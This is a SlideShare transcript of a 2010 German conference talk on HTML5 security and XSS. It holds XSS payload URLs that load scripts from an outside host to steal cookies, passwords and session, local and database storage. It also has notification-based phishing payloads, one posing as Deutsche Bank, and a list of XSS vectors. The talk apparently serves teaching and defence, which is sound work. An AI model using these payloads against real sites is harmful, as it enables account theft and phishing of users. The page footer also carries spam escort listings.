SlideShare a Scribd company logo
1 of 51
Download to read offline
HTML 5 Security
XSS reloaded
Frank Ruske | International PHP Conference SE | 02. Juni 2010




                                                                © Mayflower GmbH 2010
XSS


I       XSS Typen
    ·   Nicht-Persistent oder reflektiv




http://html5.security.local/examples/xss1.php/'><script>alert(/X
    SS/)</script> DEMO

"GET
        /examples/xss1.php/'%3E%3Cscript%3Ealert(/XSS/)%3C/script%3
        E HTTP/1.1" 200


                                                             Mayflower GmbH I 2
XSS


I       XSS Typen
    ·   Persistent oder beständig




http://html5.security.local/examples/xss2.php DEMO

"GET /index.php?open=xss2 HTTP/1.1" 200 1413




                                                     Mayflower GmbH I 3
XSS


I       XSS Typen
    ·   DOM-Basiert oder Lokal




http://html5.security.local/examples/xss3.php#name=frank<script>
    alert(/XSS/)</script> DEMO.

"GET /index.php?open=xss3 HTTP/1.1" 200 1413




                                                         Mayflower GmbH I 4
XSS


I      Cookie Diebstahl
http://html5.security.local/index.php/'><script type="text/javascript"
       src="http://www.frank-ruske.com/sec/payloads/cookie.js"></script><!-
       -




DEMO




                                                                    Mayflower GmbH I 5
XSS


I      DOM Passwortklau
http://html5.security.local/examples/xss4.php/'><script
       src='http://www.frank-ruske.com/sec/payloads/dompwd.js'></script>




DEMO




                                                                    Mayflower GmbH I 6
Cross Site Request Forgery



I Ausnutzen des Vertrauens einer Seite in den Benutzer


I Zustandsloses Protokoll HTTP


I Header als Authentifizierung bei jedem Request




                                                         Mayflower GmbH I 7
HTML5
(formerly titled Web Applications 1.0)




                                         Mayflower GmbH I 8
HTML5 – Session Storage



I Session Daten können lokal gespeichert werden
   · 5 - 10 MB pro Domain


I Der Client (Browser) hat kompletten Zugriff auf die Session Daten.




                                                                 Mayflower GmbH I 9
HTML5 – Session Storage auslesen


I    Session Storage auslesen
http://html5.security.local/index.php/'><script src='http://www.frank-
     ruske.com/sec/payloads/sessionStorage.js'></script>?open=session_sto
     rage_2 DEMO




                                                                 Mayflower GmbH I 10
HTML5 – Local Storage / Web Storage


I Daten können lokal gespeichert werden
   · 5 - 10 MB pro Domain
Der Client (Browser) hat kompletten Zugriff auf die Lokalen Daten.


User Tracking, Marketing, Botnet, Würmer.




                                                            Mayflower GmbH I 11
HTML5 – Local Storage Exploit / CSU – Cross Side Ursula




/'><script src='http://bit.ly/bHzqiG'></script>?open=local_storage_2
                                                                       Mayflower GmbH I 12
HTML5 – Cross-directory attacks



W3C Web Storage Editor's Draft 12 May 2010

Different authors sharing   one host name, for example users
hosting content on geocities.com,


all share   one local storage object. There is no feature to restrict
the access by pathname. Authors on shared hosts


are therefore   recommended to avoid using these features, as it would be
trivial for other authors to read the data and overwrite it.




                                                                        Mayflower GmbH I 13
HTML5 – Datenbank



I Lokale SQLite Datenbank
   · 5 - 10 MB pro Domain




                            Mayflower GmbH I 14
HTML5 – Datenbank Objekt und Methoden



I db = openDatabase(shortName, version, displayName, maxSize);
   · shortName       (Kurzname zum Zugriff im Browser und SQL)
   · Version         (Datenbank Versionsnummer)
   · displayName     (Voller Datenbankname)
   · maxSize         (Erwartete Datenbankgröße / Memory Management)
I db.changeVersion('1.0', '2.0', cv_10_20, error_10_20, success_10_20);
I db.transaction
   ·  ExecuteSQL()
Objekte: SQLResultSet, SQLResultSetRowList, SQLError




                                                                 Mayflower GmbH I 15
HTML5 – Datenbank Beispiel Querys



I executeSQL
   · CREATE TABLE Table1Test (id REAL UNIQUE, text TEXT)
   · DROP TABLE Table1Test
   · SELECT * FROM Table1Test
   · DELETE FROM Table1Test WHERE id=82
   · INSERT INTO Table1Test (id, text) VALUES (4383, 'foobar')
   · UPDATE Table1Test SET text = 'foobar2' WHERE id = 9467




                                                                 Mayflower GmbH I 16
HTML5 – Datenbank sqlite_master




                                  Mayflower GmbH I 17
HTML5 – Datenbank sqlite_master




http://html5....?open=database&name=<script src='http://www.frank-ruske.com/sec/payloads/databaseStorage.js'></script>


                                                                                                          Mayflower GmbH I 18
Mayflower GmbH I 19
Mayflower GmbH I 20
HTML5 – Notifications – Exploits

· http://html5.security.local/index.php/'><script>window.webkitNotifications.
 createNotification('http://files.youporn.com/images/logoblack.png','Buy
 cheap Viagra NOW!!!!!!!!!!!!!!!!!!!!','We offer the best prices on the
 market!').show();</script><!--
DEMO
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
 createNotification('http://www.frank-ruske.com/sec/security.png','Security
 notice','It looks like your account was hacked. Please change your password
 now!').show();</script><!--
DEMO
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
 createNotification('http://www.frank-
 ruske.com/sec/deutsche_bank.png','Deutsche Bank - Wichtiger Hinweis','Es
 gibt Unstimmigkeiten mit Ihrem Onlinebanking Konto. Bitte loggen Sie sich jetzt
 ein, oder melden Sich umgehend bei ihrem Berater.').show();</script><!--
DEMO


                                                                                   Mayflower GmbH I 21
HTML5 – Navigator



I Information Disclosure
   ·  window.navigator.appName
   ·  window.navigator.appVersion
   ·  window.navigator.platform
   ·  window.navigator.userAgent
   ·  window.navigator.onLine


I Protokol und Content Handler
   ·  window. navigator.registerProtocolHandler(scheme, url, title)
   ·  window. navigator.registerContentHandler(mimeType, url, title)




                                                                       Mayflower GmbH I 22
HTML5 – Custom Protocol Handlers & Content Handlers



I Registrieren von Webanwendungen als handler
  für Protokolle und MIME Types


I void registerProtocolHandler
  (in DOMString scheme, in DOMString url, in DOMString title);


I void registerContentHandler
  (in DOMString mimeType, in DOMString url, in DOMString title);




                                                                   Mayflower GmbH I 23
HTML5 – Custom Protocol Handlers im Firefox




DEMO FireFox


                                                Mayflower GmbH I 24
HTML5 – Custom Protocol Handlers & Content Handlers




                                                      Mayflower GmbH I 25
HTML5 – Offline Application Caching APIs



I Definition: <html manifest="html5security.manifest">
   · NETWORK, CACHE, FALLBACK
I Cache Versionierung
I Cache Status:
   · Uncached, Idle, Checking, Downloading, Updateready, Obsolete
I Online oder Offline?:
   · var online = navigator.onLine;


http://www.w3.org/TR/offline-webapps/#offline




                                                                Mayflower GmbH I 26
HTML5 – Offline Application Caching APIs




           http://html5.security.local/index.php?open=cache
                                                              Mayflower GmbH I 27
Mayflower GmbH I 28
HTML5 – Cross-document messaging




W3C HTML5 Draft Standard — 23 May 2010



9.2 Cross-document messaging
“While this is an important security feature,
 it prevents pages from different domains from communicating
 even when those pages are not hostile. ”




                                                               Mayflower GmbH I 29
HTML5 – Cross-document messaging




                                   Mayflower GmbH I 30
HTML5 – Cross-document messaging




    e.origin = optional , Wildcards erlaubt (*)
          http://html5.security.local/index.php?open=cross_document_messaging


                                                                                Mayflower GmbH I 31
HTML5 – Cross-Domain messaging




When a Document is created, its effective script origin is initialized
to the origin of the Document. However, the document.domain
attribute can be used to change it.




                                                                    Mayflower GmbH I 32
HTML5 – Cross-Domain messaging




                                 Mayflower GmbH I 33
HTML5 – Websockets




                     Mayflower GmbH I 34
HTML5 – Websockets


I Websockets
   ·Bi-directional , full-duplex TCP Socket
   ·Server-Push (Kein Polling / Long-Polling mehr)
   ·Lediglich Handshake als HTTP-Request- und Response-Header
   ·2 Bytes Overhead
       (Text Frame: 0x00 Byte + UTF-8 data + 0xFF Byte)
       (Binary Frame: 0x00 + 0x10 (Klänge) + UTF-8 data)
I Keine Latenz für den Aufbau neuer TCP /IP Verbindungen für jeden HTTP
  Request
I Websocket URI
 ws://html5.security.local:8084/server.php
 wws://html5.security.local:8084/server.php (WebSocket Secure - TLS)


                                                                   Mayflower GmbH I 35
HTML5 – Websockets




                     Mayflower GmbH I 36
HTML5 – Websocket Handshake




                              Mayflower GmbH I 37
HTML5 – Websocket JavaScript




                               Mayflower GmbH I 38
HTML5 – Websocket PHP




                        Mayflower GmbH I 39
HTML5 – Websockets




          http://html5.security.local/index.php?open=websocket

                                                                 Mayflower GmbH I 40
HTML5 – Server-Sent Events



I Datenstream vom Server (Push)




                                  Mayflower GmbH I 41
HTML5 – Server-Sent Events


I JavaScript API “EventSource“
   · var stream = new EventSource("http://news.frank-ruske");
I Event Handler
   · stream.onopen    = function()      { alert('onopen'); }
   · stream.onmessage = function(event) { alert('onmessage: ' + event.data); }
   · stream.onerror   = function()      { alert('onerror'); }
<eventsource src=”http://news.frank-ruske.com”
 onmessage=“var stream; event.stream.split('n');
 alert(stream[0] + stream[1] + stream[2]);”>
I EventStream (text/event-stream)
  Data wait();n
  Data wait();n
  Data: document.write(/css/);n

                                                                      Mayflower GmbH I 42
HTML5 – XMLHttpRequest Level 2



I XMLHttpRequest Level 2
   ·Progress events (loadstart, load, loadend, progress, abort, error)
   ·Cross-origin XMLHttpRequests
   ·Access-Control header




                                                                         Mayflower GmbH I 43
HTML5 – XMLHttpRequest Level 2




                                 Mayflower GmbH I 44
HTML5 – XMLHttpRequest Level 2




                                 Mayflower GmbH I 45
HTML5 – XMLHttpRequest Level 2




                                 Mayflower GmbH I 46
HTML5 – XMLHttpRequest Level 2




                                 Mayflower GmbH I 47
HTML5 – XMLHttpRequest Level 2 – Header


I HTTP response headers
   · Access-Control-Allow-Origin: <origin> | *
   · Access-Control-Max-Age: <delta-seconds>            (Preflight cache)
   · Access-Control-Allow-Credentials: true | false
   · Access-Control-Allow-Methods: <method>[, <method>]* (Preflight)
   · Access-Control-Allow-Headers: <field-name>[, <field-name>]* (preflight)


I The HTTP request headers
   · Origin: <origin>
   · Access-Control-Request-Method: <method> (Preflight)
   · Access-Control-Request-Headers: <field-name>[, <field-name>]* (Preflight)



                                                                    Mayflower GmbH I 48
HTML5 – XSS – Vektoren


I Focus:
   · <input onfocus=write(1) autofocus>
   · <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input
       autofocus>
   ·   <video><source onerror="javascript:alert(1)">
   ·   <frameset onload=alert(1)>

I Charsets:
   · <meta charset="x-imap4-modified-
     utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Ab
     g&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
   · <meta charset="x-imap4-modified-
     utf7">&<script&S1&TS&1>alert&A7&(2)&R&UA;&&<&A9&11/script&X&>

http://heideri.ch/jso/ Für mehr Beispiele

                                                                       Mayflower GmbH I 49
Quellen



I Resources:
   · http://html5demos.com @Remy Sharp (with personal permission - thanks a lot)
   · http://phpwebsocket.googlecode.com (GNU)
   · http://trivero.secdiscover.com/
   · http://heideri.ch/jso/
   · http://www.w3.org/TR/XMLHttpRequest2




                                                                         Mayflower GmbH I 50
Vielen Dank für Ihre Aufmerksamkeit!




Kontakt   Frank Ruske
          frank.ruske@mayflower.de
          Tel.: +49 931 35965 1161

          Mayflower GmbH
          Pleichertorstraße 2
          97070 Würzburg



                                       © 2010 Mayflower GmbH

More Related Content

Similar to HTML 5 Security

HTML5 for PHP Developers - IPC
HTML5 for PHP Developers - IPCHTML5 for PHP Developers - IPC
HTML5 for PHP Developers - IPCMayflower GmbH
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooNahidul Kibria
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Web-Technologies 26.06.2003
Web-Technologies 26.06.2003Web-Technologies 26.06.2003
Web-Technologies 26.06.2003Wolfgang Wiese
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
Security talk: Fortifying your Joomla! website
Security talk: Fortifying your Joomla! websiteSecurity talk: Fortifying your Joomla! website
Security talk: Fortifying your Joomla! websiteSigsiu.NET
 
The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5Todd Anglin
 
V2 peter-lubbers-sf-jug-websocket
V2 peter-lubbers-sf-jug-websocketV2 peter-lubbers-sf-jug-websocket
V2 peter-lubbers-sf-jug-websocketbrent bucci
 
Top 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperTop 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperShreeraj Shah
 
Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010
Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010
Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010Patrick Lauke
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdfXCS110_All_Slides.pdf
XCS110_All_Slides.pdfssuser01066a
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site TracingMagno Logan
 
Html 5 in a big nutshell
Html 5 in a big nutshellHtml 5 in a big nutshell
Html 5 in a big nutshellLennart Schoors
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Jeremiah Grossman
 

Similar to HTML 5 Security (20)

HTML5 for PHP Developers - IPC
HTML5 for PHP Developers - IPCHTML5 for PHP Developers - IPC
HTML5 for PHP Developers - IPC
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Web-Technologies 26.06.2003
Web-Technologies 26.06.2003Web-Technologies 26.06.2003
Web-Technologies 26.06.2003
 
News Bytes - May by corrupt
News Bytes - May by corruptNews Bytes - May by corrupt
News Bytes - May by corrupt
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
Php
PhpPhp
Php
 
Security talk: Fortifying your Joomla! website
Security talk: Fortifying your Joomla! websiteSecurity talk: Fortifying your Joomla! website
Security talk: Fortifying your Joomla! website
 
The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5The Rich Standard: Getting Familiar with HTML5
The Rich Standard: Getting Familiar with HTML5
 
HTML5와 모바일
HTML5와 모바일HTML5와 모바일
HTML5와 모바일
 
V2 peter-lubbers-sf-jug-websocket
V2 peter-lubbers-sf-jug-websocketV2 peter-lubbers-sf-jug-websocket
V2 peter-lubbers-sf-jug-websocket
 
Top 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - WhitepaperTop 10 HTML5 Threats - Whitepaper
Top 10 HTML5 Threats - Whitepaper
 
HTTP2
HTTP2HTTP2
HTTP2
 
Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010
Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010
Brave new world of HTML5 - WebTech 2010 Milano 09.11.2010
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdfXCS110_All_Slides.pdf
XCS110_All_Slides.pdf
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site Tracing
 
Html 5 in a big nutshell
Html 5 in a big nutshellHtml 5 in a big nutshell
Html 5 in a big nutshell
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 

More from Mayflower GmbH

Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mayflower GmbH
 
JavaScript Days 2015: Security
JavaScript Days 2015: SecurityJavaScript Days 2015: Security
JavaScript Days 2015: SecurityMayflower GmbH
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftMayflower GmbH
 
Salt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native ClientSalt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native ClientMayflower GmbH
 
Plugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debuggingPlugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debuggingMayflower GmbH
 
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...Mayflower GmbH
 
Native Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyNative Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyMayflower GmbH
 
Pair Programming Mythbusters
Pair Programming MythbustersPair Programming Mythbusters
Pair Programming MythbustersMayflower GmbH
 
Shoeism - Frau im Glück
Shoeism - Frau im GlückShoeism - Frau im Glück
Shoeism - Frau im GlückMayflower GmbH
 
Bessere Software schneller liefern
Bessere Software schneller liefernBessere Software schneller liefern
Bessere Software schneller liefernMayflower GmbH
 
Von 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 SprintsVon 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 SprintsMayflower GmbH
 
Piwik anpassen und skalieren
Piwik anpassen und skalierenPiwik anpassen und skalieren
Piwik anpassen und skalierenMayflower GmbH
 
Agilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce BreakfastAgilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce BreakfastMayflower GmbH
 

More from Mayflower GmbH (20)

Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
 
Why and what is go
Why and what is goWhy and what is go
Why and what is go
 
Agile Anti-Patterns
Agile Anti-PatternsAgile Anti-Patterns
Agile Anti-Patterns
 
JavaScript Days 2015: Security
JavaScript Days 2015: SecurityJavaScript Days 2015: Security
JavaScript Days 2015: Security
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur Führungskraft
 
Produktive teams
Produktive teamsProduktive teams
Produktive teams
 
Salt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native ClientSalt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native Client
 
Plugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debuggingPlugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debugging
 
Usability im web
Usability im webUsability im web
Usability im web
 
Rewrites überleben
Rewrites überlebenRewrites überleben
Rewrites überleben
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
 
Responsive Webdesign
Responsive WebdesignResponsive Webdesign
Responsive Webdesign
 
Native Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und AlloyNative Cross-Platform-Apps mit Titanium Mobile und Alloy
Native Cross-Platform-Apps mit Titanium Mobile und Alloy
 
Pair Programming Mythbusters
Pair Programming MythbustersPair Programming Mythbusters
Pair Programming Mythbusters
 
Shoeism - Frau im Glück
Shoeism - Frau im GlückShoeism - Frau im Glück
Shoeism - Frau im Glück
 
Bessere Software schneller liefern
Bessere Software schneller liefernBessere Software schneller liefern
Bessere Software schneller liefern
 
Von 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 SprintsVon 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 Sprints
 
Piwik anpassen und skalieren
Piwik anpassen und skalierenPiwik anpassen und skalieren
Piwik anpassen und skalieren
 
Agilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce BreakfastAgilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce Breakfast
 

Recently uploaded

From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAndikSusilo4
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksSoftradix Technologies
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 

Recently uploaded (20)

From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & Application
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other Frameworks
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
